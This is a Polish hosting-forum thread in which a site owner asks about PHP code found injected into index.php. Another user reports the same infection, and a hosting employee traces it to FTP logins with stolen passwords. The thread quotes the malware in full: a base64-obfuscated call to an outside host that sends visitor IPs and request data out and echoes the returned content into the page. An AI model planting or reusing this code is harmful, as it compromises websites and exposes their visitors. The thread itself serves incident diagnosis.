Podejrzenie włamania na serwer, Proszę o szybką pomoc Opcje

[Barcelona]

Witam, otworzyłem dzisiaj plik index.php i znalazłem tam taki kawałek kodu, którego nie wklejałem:

[PHP] pobierz, plaintext 
<?php    
 
    // This code use for global bot statistic
 
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
 
    $stCurlHandle = NULL;
 
    $stCurlLink = "";
 
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
 
    {
 
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
 
        $stCurlLink = base64_decode( 'aHR0cDovL3JlYm90c3RhdC5jb20vYm90c3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
 
            $stCurlHandle = curl_init( $stCurlLink ); 
 
    }
 
    } 
 
if ( $stCurlHandle !== NULL )
 
{
 
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
 
    $sResult = @curl_exec($stCurlHandle); 
 
    if ($sResult[0]=="O") 
 
     {$sResult[0]=" ";
 
      echo $sResult; // Statistic code end
 
      }
 
    curl_close($stCurlHandle); 
 
}
 
?>
[PHP] pobierz, plaintext 

Co to jest? Proszę o pomoc.

[gekoncaros]

Witam nie jestes sam ja tez na serwerze linuxpl.com tez dostałem do kazdego pliku index.php taki wlasnie dodatek w postaci 30 linii kodu
najgorsze jest to ze mam tych indexow od groma i jeszcze troche i tu moje pytanie jak napisać jakis skrypt ktory by pousuwał dokładnie taki kod w okreslonych plikach

[pioklo]

Witam nie jestes sam ja tez na serwerze linuxpl.com tez dostałem do kazdego pliku index.php taki wlasnie dodatek w postaci 30 linii kodu
najgorsze jest to ze mam tych indexow od groma i jeszcze troche i tu moje pytanie jak napisać jakis skrypt ktory by pousuwał dokładnie taki kod w okreslonych plikach

Witam
Dopiski do skryptow masz przez logowanie na ftp z adresu IP 188.72.250.20

ftpd17636 Fri Nov 25 15:41 - 15:41 (00:00) ::ffff:188.72.250.20
ftpd25799 Fri Nov 25 11:09 - 11:10 (00:00) ::ffff:188.72.250.20

Wykradzione hasla przez wirusy z programow klienckich ftp gdzie sa zapisywane bez szyfrowania..

Ip zostal zablokowany na firewallu polecam uzyc u nas pluginu do blokowania polaczen do ftp i konta na okreslone adresy IP
wtedy mimo wykradzionego hasla takiej sytuacji by nie bylo bo boty by sie nie polaczyly

pozdrawiam
Piotr
linuxpl.com